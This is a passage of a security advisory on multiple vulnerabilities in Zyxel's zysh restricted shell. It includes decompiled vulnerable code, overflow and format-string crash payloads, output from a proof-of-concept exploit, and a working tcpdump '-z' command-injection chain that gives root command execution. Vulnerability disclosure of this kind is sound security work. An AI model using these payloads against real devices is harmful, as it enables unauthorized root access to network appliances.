hnsecurity-vulns/HNS-2022-02-zyxel-zysh.txt

--[ HNS-2022-02 - HN Security Advisory - https://hnsecurity.it/

* Title: Multiple vulnerabilities in Zyxel zysh
* Products: Zyxel firewalls, AP controllers, and APs
* Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it>
* Date: 2022-06-07
* CVE Names and Vendor CVSS Scores:
  CVE-2022-26531: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H (6.1)
  CVE-2022-26532: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8)
* Advisory URLs:
  https://github.com/hnsecurity/vulns/blob/main/HNS-2022-02-zyxel-zysh.txt
  https://www.zyxel.com/support/multiple-vulnerabilities-of-firewalls-AP-controllers-and-APs.shtml


--[ 0 - Table of contents

1 - Summary
2 - Background
3 - Vulnerabilities
4 - Analysis
    4.1 - Buffer overflows in the "configure terminal > diagnostic" command
    4.2 - Buffer overflow in the "debug" command
    4.3 - Buffer overflow in the "ssh" command
    4.4 - Format string bugs in the "extension" argument of some commands
    4.5 - OS command injection in the "packet-trace" command
5 - Exploitation
    5.1 - Buffer overflows
    5.2 - Format string bugs
    5.3 - OS command injection
6 - Affected products
7 - Remediation
8 - Disclosure timeline
9 - References


--[ 1 - Summary

"We live on a placid island of ignorance in the midst of black seas of
infinity, and it was not meant that we should voyage far."
                               -- H. P. Lovecraft, The Call of Cthulhu

We have identified multiple security vulnerabilities in the zysh binary
that implements the command-line interface (CLI) on a wide range of Zyxel
products, including their security appliances such as those in the Unified
Security Gateway (USG) product line:

* Multiple stack-based buffer overflows in the code responsible for
  handling diagnostic tests ("configure terminal > diagnostic" command).
* A stack-based buffer overflow in the "debug" command.
* A stack-based buffer overflow in the "ssh" command.
* Multiple format string bugs in the "extension" argument of the "ping",
  "ping6", "traceroute", "traceroute6", "nslookup", and "nslookup6"
  commands.
* An OS command injection vulnerability in the "packet-trace" command.

We demonstrated the possibility to exploit the format string bugs and the
OS command injection vulnerability to escape the restricted shell
environment and achieve arbitrary command execution on the underlying
embedded Linux OS, respectively as regular user and as root.


--[ 2 - Background

The zysh binary is a restricted shell that implements the command-line
interface (CLI) on multiple Zyxel [0] products. All regular user accounts
have an /etc/passwd entry similar to the following:

admin:x:10007:10000:Administration account...:/etc/zyxel/ftp:/bin/zysh

Only the root user and the reserved debug account, disabled by default,
have access to a proper bash shell:

root:x:0:0:root&admin&120&120&480&480&1&0:/root:/bin/bash
...
debug:!:0:0:Debug Account:/root:/bin/bash

The Zyxel CLI can be accessed via SSH as follows:

raptor@blumenkraft ~ % ssh <REDACTED> -l admin
(admin@<REDACTED>) Password:
Router> # hello zysh!

On our Zyxel USG20-VPN test device, the CLI can also be accessed via Telnet
(not enabled by default) or via the so-called Web Console, implemented with
WebSockets, that is reachable with a web browser after authentication, at a
URL such as the following:

https://<REDACTED>/webconsole/

In the context of a wider audit of the security posture of Zyxel devices
[1], we decided to audit zysh with the primary goal of escaping the
restricted shell environment and executing arbitrary commands on the
underlying embedded Linux OS. It is pretty large for a dynamically-linked,
stripped binary (~19MB) and it makes plenty of unsafe API function calls,
which makes it an interesting target.


--[ 3 - Vulnerabilities

During our audit of the zysh binary, we identified the following
vulnerabilities:

* Multiple stack-based buffer overflows in the code responsible for
  handling diagnostic tests ("configure terminal > diagnostic" command).
* A stack-based buffer overflow in the "debug" command.
* A stack-based buffer overflow in the "ssh" command.
* Multiple format string bugs in the "extension" argument of the "ping",
  "ping6", "traceroute", "traceroute6", "nslookup", and "nslookup6"
  commands.
* An OS command injection vulnerability in the "packet-trace" command.

All buffer overflows can be triggered only by admin users, while the format
string bugs and the command injection vulnerability are exploitable by
authenticated users of either admin or limited-admin type.


--[ 4 - Analysis

To follow along with our detailed vulnerability analysis, you can download
the Zyxel Firmware 5.10 for "USG20-VPN - ABAQ - Non-Wireless Edition"
(USG20-VPN_5.10.zip [2]). Extract the ZIP archive, then extract the
password-protected ZIP archive 510ABAQ0C0.bin contained within, using the
following password [1]:

4ulPPIs94jnYwUfwwoTqz/a5eRHFRwNYq8zFTrQZaE7XkoTgdzWc.6jea1v1zJb 

Finally, extract the Squashfs filesystem image with binwalk or a similar
tool, e.g.:

raptor@blumenkraft 510ABAQ0C0 % binwalk -e compress.img

The target binary we will reference throughout our analysys is /bin/zysh,
available in the extracted filesystem:

raptor@blumenkraft bin % ls -l zysh
-rwxr-xr-x  1 raptor  staff  19727292 Sep 23 18:33 zysh*
raptor@blumenkraft bin % shasum -a 256 zysh
47ee711a817e33bb2809e91d76b512498ae3cdca1276a2385f404384547404e3  zysh
raptor@blumenkraft bin % file zysh
zysh: ELF 32-bit MSB executable, MIPS, N32 MIPS64 rel2 version 1 (SYSV),
dynamically linked, interpreter /lib32/ld.so.1, for GNU/Linux 2.6.9,
stripped

You can easily import it in your favorite disassembler. In Ghidra, we had
to manually tweak the import options to reflect that the binary was
compiled for the N32 ABI [3], importing it as "MIPS:BE:64:64-32addr:n32".
The same requirement holds for any other binaries compiled for the Cavium
Octeon III processor, on which our Zyxel USG20-VPN test device is based.


--[ 4.1 - Buffer overflows in the "configure terminal > diagnostic" command

The first buffer overflow vulnerability we identified is located in the
function at 0x1013b238, which we dubbed do_emtap():

undefined8 do_emtap(longlong argc, char **argv)
{
...
  char acStack305[129];
...
  else {
    uVar1 = 1;
    if (argc == 3) {
      sprintf(acStack305 + 1, "t%s.sh", argv[2]); /* VULN #1 */
      pcVar4 = argv[1];
      do_emtap_test(pcVar4, acStack305 + 1);
      do_emtap_test2(pcVar4, acStack305 + 1);
      report_test();
      uVar1 = 0;
    }
  }
  return uVar1;
}

This function is called when an admin user invokes the diagnostic test
functionality in the Zyxel CLI with two arguments, e.g.:

Router> configure terminal
Router(config)# diagnostic test <test_name> <test_num>

The buffer overflow happens due to the unsafe sprintf() call marked with
the "VULN #1" comment above, which overflows past the boundary of the
acStack305 array allocated on the stack with the contents of the <test_num>
argument.

Upon exploitation, however, the return statement at 0x1013b2f4 is never
reached, because the overflow propagates to the other functions that are
called by do_emtap(), which we dubbed do_emtap_test() and do_emtap_test2()
in the pseudo-code above. More precisely, another overflow happens at the
sprintf() call below marked as "VULN #2", located in the do_emtap_test()
function at 0x1013a8f8. This overflow enables us to gain control over the
pc register when do_emtap_test() returns:

int do_emtap_test(char *test_name, char *test_num)
{
...
  char acStack320[128];
  char acStack192[128];
...
  sprintf(acStack320, "%s/%s", "/tmp/tap", test_name); /* VULN #3 */
  mkdir(acStack320, 0x1c0);
  sprintf(acStack192, "%s/%s/%s", "/usr/local/emtap/test_script",
          test_name, test_num); /* VULN #2 */
  iVar1 = access(acStack192, 0);
  if (iVar1 != 0) {
    return 1;
  }
...
}

The unsafe sprintf() call overflows past the boundary of the acStack192
array. When do_emtap_test() returns, we are able hijack the control flow.
However, we can only use numeric characters in our hostile buffer,
therefore exploitation is extremely unlikely, if at all possible. The
overflow can be triggered with the following payload:

Router> configure terminal
Router(config)# diagnostic test anything 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Program received signal SIGBUS, Bus error.
0x31313130 in ?? ()

A slightly better opportunity for exploitation is represented by another
stack-based buffer overflow in the above function, marked with the "VULN
#3" comment. This specific overflow can be triggered with the following
payload:

Router> configure terminal
Router(config)# diagnostic test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1
Program received signal SIGBUS, Bus error.
0x41414140 in ?? ()

This time, our hostile buffer can contain alphanumeric characters in the
range [a-zA-Z0-9], plus the underscore '_'. Still far from ideal, but
definitely better than the previously identified exploitation vector.  

A similar vector is provided by yet another stack-based buffer overflow,
this time in the function located at 0x1013ada0, which we dubbed
do_emtap_test3():

undefined8 do_emtap_test3(char *test_name)
{
...
  char acStack288[127];
...
  sprintf(acStack288, "%s %s/%s | %s -E \'t[0-9]+\\.sh\' > %s", "/bin/ls",
	  "/usr/local/emtap/test_script", test_name, "/bin/grep",
          "/tmp/tap/test_case_dir.tmp"); /* VULN #4 */
  system(acStack288);
...
    sprintf(acStack288, "%s %s", "/bin/rm", "/tmp/tap/test_case_dir.tmp");
    system(acStack288);
    return 0;
  }
...
}

This function is called when an admin user invokes the diagnostic test
functionality in the Zyxel CLI with only one argument, e.g.:

Router> configure terminal
Router(config)# diagnostic test <test_name>

This time, the unsafe sprintf() call marked with the "VULN #4" comment
overflows past the boundary of the acStack288 array. By exploiting this
overflow, we can once again overwrite the pc register and hijack the
control flow. In order to trigger this overflow, the following payload can
be used:

Router> configure terminal
Router(config)# diagnostic test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/bin/ls: cannot access /usr/local/emtap/test_script/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory
Program received signal SIGBUS, Bus error.
0x41414140 in ?? ()

In the mentioned functions, including the one located at 0x1013aa10 that we
dubbed do_emtap_test2() and that is not immediately reachable via the
codepaths triggered by our hostile inputs, there are other instances of
buffer overflow caused by the unchecked use of unsafe API functions, such
as sprintf() and strcpy(). We have not deeply investigated their actual
reachability, but they should be fixed as well. In addition, many unsafe
programming constructs are present in the rest of the binary.


--[ 4.2 - Buffer overflow in the "debug" command

The buffer overflow vulnerability we identified in the code responsible for
handling the "debug" command is located in the function at 0x1000df70,
which we dubbed do_debug().

It is a pretty long function that gets called when an admin (or in some
cases a limited-admin) user invokes the debug functionality in the Zyxel
CLI, e.g.:

Router> debug <argument list>

To trigger the overflow, the following payload can be used:

Router> debug gui webhelp redirect AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Router> debug gui show webhelp redirect
Program received signal SIGBUS, Bus error.
0x41414140 in ?? ()

The first command writes a long string in the /tmp/webhelppath file:

int do_debug(ulonglong argc, char **argv)
{
...
  case 0x155:
    if (DAT_1145e55c != 0x150) {
      return 0;
    }
    pcVar11 = "/tmp/webhelppath";
    if (DAT_1145e564 != 0x154) {
      return 0;
    }
LAB_1000ebdc:
    pFVar12 = fopen64(pcVar11, "w"); /* open file */
...
    fputs(argv[4], pFVar12); /* write string to file */
    fclose(pFVar12);
    return 0;
}

The second command triggers the overflow by reading from the
/tmp/webhelppath file:

int do_debug(ulonglong argc, char **argv)
{
...
  undefined8 local_e0;
...
    if (lVar24 == 0x155) {
      pFVar12 = fopen64("/tmp/webhelppath", "r");
...
	__isoc99_fscanf(pFVar12, "%s", &local_e0); /* VULN #5 */
        fclose(pFVar12);
        fwrite(&DAT_1013fe18, 1, 9, stdout);
        puVar22 = &local_e0;
        pcVar11 = "Webhelp redirect: %s\n";
      }
LAB_1000f7d0:
      fprintf(stdout, pcVar11, puVar22);
      fwrite(&DAT_1013fe48, 1, 2, stdout);
      return 0;
    }

The vulnerability lies in the use of the unsafe __isoc99_fscanf() API
function, which does not check if the destination string is large enough to
accommodate the whole source string. This allows us to overwrite the saved
return address and hijack the control flow. Our hostile buffer is limited
to a length of 255 bytes and can contain only alphanumeric characters in
the range [a-zA-Z0-9], plus the underscore '_', dash '-', and dot '.'
special characters.

A similar bug can be triggered with the "debug gui kb redirect" and "debug
gui show kb redirect" command combination. However, in this case, the
destination buffer is too far away from the location where the return
address is saved on the stack, therefore we cannot exploit this bug to
control the pc register. We do not exclude other ways to exploit this
vulnerability.


--[ 4.3 - Buffer overflow in the "ssh" command

The buffer overflow vulnerability we identified in the code responsible for
handling the "ssh" command is located in the function at 0x10012298, which
we dubbed do_ssh():

undefined8 do_ssh(int argc, char **argv)
{
...
  char acStack336[300];
...
  sprintf(acStack336, "/usr/bin/ssh -o UserKnownHostsFile=/dev/null %s",
    argv[1]); /* VULN #5 */
...
    sVar4 = strlen(acStack336);
    sprintf(acStack336 + sVar4, " -p %s", *(undefined4 *)((int)argv +
        iVar2)); /* VULN #6 */
...
}

You know the gist by now: there are two stack-based buffer overflows caused
by the unchecked use of the unsafe API function sprintf(). To trigger the
first overflow the following payload can be used, as an authenticated admin
or limited-admin user:

Router> ssh AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
RSA key fingerprint is SHA256:fzNloEaOsmNQLHbhjroUVHkJC9ZTH09A6TRjyK+oiys.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (RSA) to the list of known hosts.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@127.0.0.1's password:
[press enter a few times]
Program received signal SIGBUS, Bus error.
0x41414140 in ?? ()

Once again, our hostile buffer can contain only alphanumeric characters,
plus some special characters. As a side note, we noticed that we can inject
arguments that get passed to the underlying /usr/bin/ssh command, albeit
with some limitations:

Router> ssh -@127.0.0.1
unknown option -- @
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
           [-i identity_file] [-J [user@]host[:port]] [-L address]
           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]
           [-w local_tun[:remote_tun]] destination [command]

Based on our analysis, this lack of input filtering is not exploitable to
inject interesting command-line arguments (e.g. "-o ProxyCommand=..."):

Router> ssh -oProxyCommand@127.0.0.1
command-line: line 0: Bad configuration option: proxycommand@127.0.0.1
Router> ssh -oProxyCommand=@127.0.0.1
% (after 'ssh'): Parse error
retval = -1
ERROR: Parse error/command not found!

--[ 4.4 - Format string bugs in the "extension" argument of some commands

Some zysh commands implement a special "extension" argument that allows to
specify arbitrary command-line arguments to be passed to the invoked OS
command that underlies each functionality:

Router> ping 127.0.0.1
;
<cr>
count
extension
forever
interface
size
source
|

For instance, if we enter the following zysh command:

Router> ping 127.0.0.1 extension -c 1

The OS command line below will be executed via the function located at
0x101295d0, which we dubbed my_invoke():

$ /bin/zysudo.suid /bin/ping 1.1.1.1 -n -c 3  -c 1

As you can see, the additional arguments we specified after the "extension"
keyword are appended to the OS command line.

We identified format string bugs in the following zysh commands:

* "ping" and "ping6" commands, handled by the function at 0x1000c0a0, which
  we dubbed do_ping().
* "traceroute" and "traceroute6" commands, handled by the function at
  0x1000bc58, which we dubbed do_traceroute().
* "nslookup" and "nslookup6" commands, handled by the function at
  0x1000c718, which we dubbed do_nslookup().

The relevant pseudo-code snippets are:

undefined8 do_ping(int argc, char **argv, char *cmd)
{
...
  if (iVar9 != 0) {
    sVar5 = strlen(acStack880);
    pcVar1 = ppcStack96[iVar9 + 1];
    acStack880[sVar5] = ' ';
    acStack880[sVar5 + 1] = '\0';
    strcpy(acStack880 + sVar5 + 1, pcVar1); /* append extension args */
  }
  if (iVar8 == 0) {
    sprintf(acStack4976, acStack880); /* VULN: format string bug */
    __pid = fork();
...
}

undefined8 do_traceroute(int argc, char **argv, char *cmd)
{
...
  if (iVar10 != 0) {
    sVar6 = strlen(acStack864);
    pcVar2 = argv[iVar10 + 1];
    acStack864[sVar6] = ' ';
    acStack864[sVar6 + 1] = '\0';
    strcpy(acStack864 + sVar6 + 1, pcVar2); /* append extension args */
  }
...
LAB_1000be10:
  sprintf(acStack4960,acStack864); /* VULN: format string bug */
  __pid = fork();
...
}

undefined8 do_nslookup(int argc, char **argv)
{
...
  pcVar4 = stpcpy((char *)((int)&uStack832 + sVar3 + 1), 
      *(char **)((int)argv + iVar2));
  if (iVar8 != 0) {
    pcVar4[1] = '\0';
    *pcVar4 = ' ';
    strcpy(pcVar4 + 1, argv[iVar8 + 1]); /* append extension args */
  }
...
  sprintf(acStack4928, (char *)&uStack832); /* VULN: format string bug */
  __pid = fork();
...
}

As a side note, in the "nslookup" and "nslookup6" commands there is also a
bonus stack-based buffer overflow that is not large enough to reach the
saved return address. It can be reproduced with the following payload:

Router> nslookup AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA server AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA extension AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGBUS, Bus error.
0x1000ba10 in _ftext ()
(gdb) x/i $pc
=> 0x1000ba10 <_ftext+17776>: lw  v1,-10184(s0)
(gdb) i r s0
s0: 0x4141414141414141

To reproduce the format string bugs and leak stack memory contents or crash
zysh, instead, the following payloads can be used:

Router> # stack memory leak
Router> ping 127.0.0.1 extension %x%x%x%x
ping: unknown host 6eb83a7580808080fefeff001145e560
Router> # crash
Router> ping 127.0.0.1 extension %n%n%n%n
Program received signal SIGSEGV, Segmentation fault.
0x77bf6768 in vfprintf () from /lib32/libc.so.6
(gdb) bt
#0  0x77bf6768 in vfprintf () from /lib32/libc.so.6
#1  0x77c14f44 in vsprintf () from /lib32/libc.so.6
#2  0x77bfd980 in sprintf () from /lib32/libc.so.6
#3  0x1000c38c in _ftext () << do_ping()
...
Router> # crash
Router> ping6 ::1 extension %n%n%n%n
Program received signal SIGSEGV, Segmentation fault.
0x77bf6768 in vfprintf () from /lib32/libc.so.6

Router> # crash
Router> traceroute 127.0.0.1 extension %n%n%n%n
Program received signal SIGSEGV, Segmentation fault.
0x77bf6768 in vfprintf () from /lib32/libc.so.6
(gdb) bt
#0  0x77bf6768 in vfprintf () from /lib32/libc.so.6
#1  0x77c14f44 in vsprintf () from /lib32/libc.so.6
#2  0x77bfd980 in sprintf () from /lib32/libc.so.6
#3  0x1000be18 in _ftext () << do_traceroute()
...
Router> # crash
Router> traceroute6 ::1 extension %n%n%n%n
Program received signal SIGSEGV, Segmentation fault.
0x77bf6768 in vfprintf () from /lib32/libc.so.6

Router> # stack memory leak
Router> nslookup 127.0.0.1 extension %x%x%x%x
Using domain server:
Name: 127.0.0.1
Address: 127.0.0.1#53
Aliases:

Host 0bd01390 not found: 3(NXDOMAIN)
Router> # crash
Router> nslookup 127.0.0.1 extension %n%n%n%n

Program received signal SIGSEGV, Segmentation fault.
0x77bf6768 in vfprintf () from /lib32/libc.so.6
(gdb) bt
#0  0x77bf6768 in vfprintf () from /lib32/libc.so.6
#1  0x77c14f44 in vsprintf () from /lib32/libc.so.6
#2  0x77bfd980 in sprintf () from /lib32/libc.so.6
#3  0x1000c8c0 in _ftext () << do_nslookup()
...
Router> # crash
Router> nslookup6 ::1 extension %n%n%n%n
Program received signal SIGSEGV, Segmentation fault.
0x77bf6768 in vfprintf () from /lib32/libc.so.6

We just confirmed that we control the format strings passed as argument to
the sprintf() API function in different locations of our target binary.


--[ 4.5 - OS command injection in the "packet-trace" command

The OS command injection we identified in the code responsible for handling
the "packet-trace" command is located in the function at 0x10010258, which
we dubbed do_packet-trace().

This function builds the command line for the /usr/sbin/tcpdump binary,
based on the arguments with which the "packet-trace" command is invoked.
The available arguments are:

Router# packet-trace
;
<cr>
dst-host
duration
extension-filter
file
interface
ip-proto
ipv6-proto
port
src-host
|

The "extension-filter" argument is particularly interesting, because it
allows to specify additional arbitrary command-line arguments to be passed
to tcpdump. For instance, if we enter the following zysh command:

Router# packet-trace extension-filter -ln -i lo -w -a -W 1 -G 1 -z id

The OS command line below will be executed via the function located at
0x101295d0, which we dubbed my_invoke():

$ /usr/sbin/tcpdump -n -i eth0 -ln -i lo -w -a -W 1 -G 1 -z id

As you can see, we are using a variation of a well-known GTFOBins payload
[4] that allows us to execute the following OS command (yes, command-line
switches that begin with a '-' are accepted):

$ id -a

Refer to the manual page of tcpdump [5] for further details on how each
command-line switch is interpreted. Seeing it all in action from the Web
Console, as an authenticated admin or limited-admin user:

Router# packet-trace extension-filter -ln -i lo -w -a -W 1 -G 1 -z id
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 65535 bytes
Maximum file limit reached: 1
1 packet captured
2 packets received by filter
0 packets dropped by kernel
uid=0(root) gid=0(root) groups=0(root)

We got arbitrary command execution as root! We just need to find a way to
exploit it to escape the restricted shell environment.


--[ 5 - Exploitation

In the following sections, we will discuss exploitation of the identified
vulnerabilities.


--[ 5.1 - Buffer overflows

The zysh binary is in a sorry state when it comes to modern countermeasures
against exploitation of memory corruption bugs:

* No RELRO
* No stack canary
* NX disabled
* No PIE
* Has RWX segments

That said, it looks like the buffer overflow vulnerabilities described in
this advisory cannot be exploited to achieve arbitrary code execution after
all, despite our gut feeling... In summary:

* MIPS alphanumeric shellcode is not a thing [6]. 
* A pure ROP chain is also not feasible, at least with the memory mapping
  used by the device and firmware version combination that we could test.

We can solve the first problem by storing our shellcode (along with a
copious number of NOP-equivalent opcodes) in the value of the TERM
environment variable that gets passed to the remote system via sshd (or
in.telnetd). At this point, we still need to be able to overwrite the
stored return address with a value that points to our NOP sled and
shellcode payload, though. Unfortunately, a partial overwrite would not
work in this case, because our target architecture is big endian and
therefore we would only be able to overwrite the most significant byte(s),
achieving nothing of note. On a device and firmware combination with a
slightly different memory mapping, however, we might be able to pull this
off and hijack the control flow.

We are not well-versed in the fine and obscure art of MIPS shellcoding and
exploitation, so we might have missed something. Feel free to try this
challenge on your own!

As a final note, we also looked into the possibility to exploit the many
unsafe calls to system() present in the code in order to inject arbitrary
OS commands. However, we could not slip past the pretty aggressive input
filters implemented by zysh. Too bad.


--[ 5.2 - Format string bugs

As discussed earlier, we control the format strings passed as argument to
the sprintf() API function in different locations of our target binary. As
a proof of concept, this allowed us to leak stack memory contents and crash
zysh.

It is now time to see if we are able to exploit the identified format
string bugs to execute arbitrary code and escape the restricted shell
environment... At first glance, this does not look feasible, because once
again we are limited in the characters that we can use in our hostile
buffer (alphanumeric characters plus some special characters in the 7-bit
ASCII set). 

However, we devised a workaround: instead of placing our retloc addresses
at the beginning of the hostile format string as is customary, we can
inject them in the process memory via the TERM environment variable! The
direct parameter access feature of glibc, together with our very own format
string exploitation technique for RISC architectures [7], will do the rest.

Long story short, we put together a proof-of-concept exploit [8] that does
the following:

* Authenticate and access the target zysh via SSH, injecting our payload
  (retloc sled + NOP sled + shellcode + padding) via the TERM environment
  variable.

* Leak a stack address via the format string bug in the "ping" command, and
  use it to calculate the address of our injected shellcode near the bottom
  of the stack, which changes slightly at each zysh execution.

* Craft another hostile format string to use as an argument to the "ping"
  command and overwrite the .got entry of fork(), which gets called right
  after the vulnerable sprintf(), with the shellcode address, using a
  variation of our write-one-byte-at-a-time technique designed for RISC
  architectures such as MIPS and SPARC.

* Interact with the spawned bash shell!

We initially thought that Python/Paramiko would be a good language choice
for the implementation, but we quickly changed our mind. In the end, we
decided to go full old-school and developed our exploit in Tcl/Expect.
Here it is in action:

raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password
raptor_zysh_fhtagn.exp - zysh format string PoC exploit
Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>

Leaked stack address:	0x7fe97170
Shellcode address:	0x7fe9de40
Base string length:	46
Hostile format string:	%.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn

*** enjoy your shell! ***

sh-5.1$ uname -snrmp
Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0
sh-5.1$ id
uid=10007(admin) gid=10000(operator) groups=10000(operator)

Once we have access to a bash shell on the underlying embedded Linux OS, it
should be pretty easy to escalate privileges to root, by leveraging local
vulnerabilities [1]. 

It should not be too hard to automate/weaponize our exploit to make it work
against other targets. This is left as an exercise.

In conclusion, format string bugs are a powerful exploit primitive, one of
our favorites. Once again, they proved to be up to the task even in a
constrained scenario such as the one we described.


--[ 5.3 - OS command injection

We managed to find a way to execute arbitrary OS commands by injecting
specially-crafted arguments into the tcpdump command line. However,
exploitation of this vulnerability to escape the restricted shell
environment is not straightforward, due to a number of constraints:

* We can only execute OS commands that do something useful to reach our
  goal when invoked with exactly one command-line argument.

* Executing "bash -i" (or similar commands such as gdb and python) directly
  does not work, because the shell would die with a "Bad file descriptor"
  error or similar.

* We could upload a shellcode binary via the FTP service (enabled by
  default on our test device) in the /etc/zyxel/ftp/tmp directory, but to
  be able to execute it we would need to find a way to turn the file's
  executable bit on; we might also be able to abuse some zysh functionality
  to create an executable file in /etc/zyxel/ftp/tmp that we can later
  overwrite via FTP or some other means that keep the executable bit on,
  but we could not find an immediate way to do this.

* We even crafted plain-text traffic to inject arbitrary commands into the
  pcap output file saved by tcpdump, and tried executing this file as a
  bash script, but bash would refuse to run it ("cannot execute binary
  file").

* Alternatively, we could directly upload a shell script via FTP and
  run it as an argument to bash, but before its execution it would get
  overwritten by tcpdump; in theory, we could try winning a race by
  continuously uploading the shell script while tcpdump is executing.
  Luckily, before we had to implement this, we found a better way.

We were indeed lucky in finding almost by accident the reliable way to
exploit this vulnerability that we are going to describe, which involves
the use of standard output as a tcpdump output file ("-w -" command-line
option) and some eldritch file descriptor trickery.

In order to escape the restricted shell environment and execute arbitrary
commands as root on the underlying embedded Linux OS, first authenticate to
the Web Console at https://<REDACTED>/webconsole/ as either an admin or
limited-admin user. Then, run the following commands:

Router# packet-trace extension-filter -ln -i lo -w - -W 1 -G 1 -z python
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 65535 bytes
...
Maximum file limit reached: 1
5 packets captured
10 packets received by filter
0 packets dropped by kernel
Router# Python 2.7.14 (default, Sep 23 2021, 23:30:37)
[GCC 4.7.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
[press enter a few times]
Router#
Router#
Router# packet-trace extension-filter -ln -i lo -w - -W 1 -G 1 -z bash
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 65535 bytes
...
Maximum file limit reached: 1
5 packets captured
